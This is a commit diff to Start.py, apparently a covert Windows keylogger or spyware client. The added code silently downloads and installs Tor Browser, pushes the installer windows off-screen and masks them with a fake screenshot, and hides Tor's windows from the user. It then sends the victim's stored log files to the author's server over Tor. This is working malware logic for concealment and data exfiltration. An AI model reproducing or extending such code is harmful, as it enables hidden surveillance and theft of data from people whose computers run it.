Skip to content

Commit 8609548

Browse files
Update Start.py
1 parent d5e31d1 commit 8609548

File tree

1 file changed

+82
-16
lines changed

1 file changed

+82
-16
lines changed

Start.py

Lines changed: 82 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,9 @@ def hide():
4444
from Cryptodome.Hash import SHA3_512
4545
import base64
4646
import hashlib # for hashing the names of files
47+
import multiprocessing
4748
import threading
49+
from subprocess import run as subprocess_run
4850
import requests
4951
import socks
5052
import socket
@@ -54,6 +56,7 @@ def hide():
5456
import tkinter as tk
5557
from PIL import Image, ImageGrab, ImageTk
5658
import re
59+
import time
5760

5861

5962
# Disallowing multiple instances
@@ -315,22 +318,21 @@ def check_internet():
315318
return False
316319

317320

318-
def find_file(root_folder, dir, file):
321+
def find_file(root_folder, dir_, file):
319322
for root, dirs, files in os.walk(root_folder):
320323
for f in files:
321324
file_search = (file == f)
322-
dir_search = (dir in root)
325+
dir_search = (dir_ in root)
323326
if file_search and dir_search:
324327
return os.path.join(root, f)
325328
return
326329

327330

328331
def find_file_in_all_drives(path):
329-
# create a regular expression for the file
330-
dir = os.path.split(path)[0]
332+
dir_ = os.path.split(path)[0]
331333
file = os.path.split(path)[-1]
332334
for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]:
333-
result = find_file(drive, dir, file)
335+
result = find_file(drive, dir_, file)
334336
if result:
335337
return result
336338

@@ -358,7 +360,7 @@ def show_screenshot():
358360

359361
def install_tor_browser():
360362
if not os.name == "nt":
361-
return '' # TODO: Linux, MacOS
363+
return # TODO: Linux, MacOS
362364
# 1. Download the installer
363365
try:
364366
r = requests.get("http://www.torproject.org/download/")
@@ -371,21 +373,20 @@ def install_tor_browser():
371373
try:
372374
tor_installer = requests.get(tor_windows_url)
373375
except requests.exceptions.ConnectionError:
374-
return ''
376+
return
375377
installer_path = os.path.join(dir_path, tor_windows_url.split("/")[-1])
376378
open(installer_path, 'wb').write(tor_installer.content)
377379
# 2. Install
378380
installation_dir = os.path.join(dir_path, "Tor_Browser")
379381
os.remove(installation_dir)
380382

381-
import multiprocessing
382383
screenshot_process = multiprocessing.Process(target=show_screenshot, args=())
383384
screenshot_process.start()
384385

385386
try:
386387
app = Application(backend="win32").start(installer_path)
387388
except:
388-
return ''
389+
return
389390
try:
390391
app.Dialog.OK.wait('ready', timeout=30)
391392
app.Dialog.move_window(x=-2000, y=-2000)
@@ -416,8 +417,70 @@ def install_tor_browser():
416417
return tor_installation_dir
417418

418419

420+
def is_tor_browser_already_open(program_path):
421+
for pid in psutil.pids(): # Iterates over all process-ID's found by psutil
422+
try:
423+
p = psutil.Process(pid) # Requests the process information corresponding to each process-ID,
424+
# the output wil look (for example) like this: <psutil.Process(pid=5269, name='Python') at 4320652312>
425+
if program_path in p.exe(): # checks if the value of the program-variable
426+
# that was used to call the function matches the name field of the plutil.Process(pid)
427+
# output (see one line above).
428+
return True, p.exe()
429+
except:
430+
continue
431+
return False, None
432+
433+
434+
def find_top_windows(wanted_text=None, wanted_class=None, selection_function=None):
435+
""" Find the hwnd of top level windows.
436+
You can identify windows using captions, classes, a custom selection
437+
function, or any combination of these. (Multiple selection criteria are
438+
ANDed. If this isn't what's wanted, use a selection function.)
439+
440+
Arguments:
441+
wanted_text Text which required windows' captions must contain.
442+
wanted_class Class to which required windows must belong.
443+
selection_function Window selection function. Reference to a function
444+
should be passed here. The function should take hwnd as
445+
an argument, and should return True when passed the
446+
hwnd of a desired window.
447+
448+
Returns: A list containing the window handles of all top level
449+
windows matching the supplied selection criteria.
450+
451+
Usage example: optDialogs = find_top_windows(wanted_text="Options")
452+
"""
453+
454+
def _normalise_text(control_text):
455+
"""Remove '&' characters, and lower case.
456+
Useful for matching control text """
457+
return control_text.lower().replace('&', '')
458+
459+
results = []
460+
top_windows = []
461+
win32gui.EnumWindows(_windowEnumerationHandler, top_windows)
462+
for hwnd, window_text, window_class in top_windows:
463+
if wanted_text and not _normalise_text(wanted_text) in _normalise_text(window_text):
464+
continue
465+
if wanted_class and not window_class == wanted_class:
466+
continue
467+
if selection_function and not selection_function(hwnd):
468+
continue
469+
results.append(hwnd)
470+
return results
471+
472+
419473
def open_tor_browser(installation_dir):
420-
pass
474+
user32 = WinDLL('user32')
475+
os.startfile(os.path.join(os.path.split(os.path.split(installation_dir)[0])[0], "Start Tor Browser.lnk"))
476+
start_time = time.time()
477+
while time.time() - start_time < 60:
478+
hwnd_1 = find_top_windows(wanted_text="Establishing a Connection", wanted_class='MozillaDialogClass')
479+
hwnd_2 = find_top_windows(wanted_text="About Tor", wanted_class='MozillaWindowClass')
480+
if len(hwnd_1) == 1:
481+
user32.ShowWindow(hwnd_1[0], 0)
482+
if len(hwnd_2) == 1:
483+
user32.ShowWindow(hwnd_2[0], 0)
421484

422485

423486
def find_the_previous_log_and_send():
@@ -432,14 +495,17 @@ def find_the_previous_log_and_send():
432495
if os.path.exists(previous_date_hashed + ".txt"):
433496
found_filenames.append(previous_date_hashed + ".txt")
434497
delta += 1
435-
# check if TOR is installed
436-
tor_installation_dir = check_if_tor_browser_is_installed()
437-
if tor_installation_dir == '':
438-
tor_installation_dir = install_tor_browser()
439-
if tor_installation_dir == '':
498+
# check if TOR is opened/installed
499+
is_tor_open, tor_installation_dir = is_tor_browser_already_open(program_path='Tor Browser\\Browser\\firefox.exe')
500+
if not tor_installation_dir:
501+
tor_installation_dir = check_if_tor_browser_is_installed()
502+
# if not tor_installation_dir:
503+
tor_installation_dir = install_tor_browser()
504+
if not tor_installation_dir:
440505
return True # ONE DOES NOT SIMPLY USE CLEARNET.
441506
else: # USE DARKNET ONLY
442-
open_tor_browser(tor_installed[1])
507+
if not is_tor_open:
508+
open_tor_browser(tor_installation_dir)
443509
for found_filename in found_filenames:
444510
# Now that we found the old log files (found_filename), send them to our server.
445511
server_parser_list = [(r'http://jsonip.com', "r.json()['ip']"),

0 commit comments

Comments
 (0)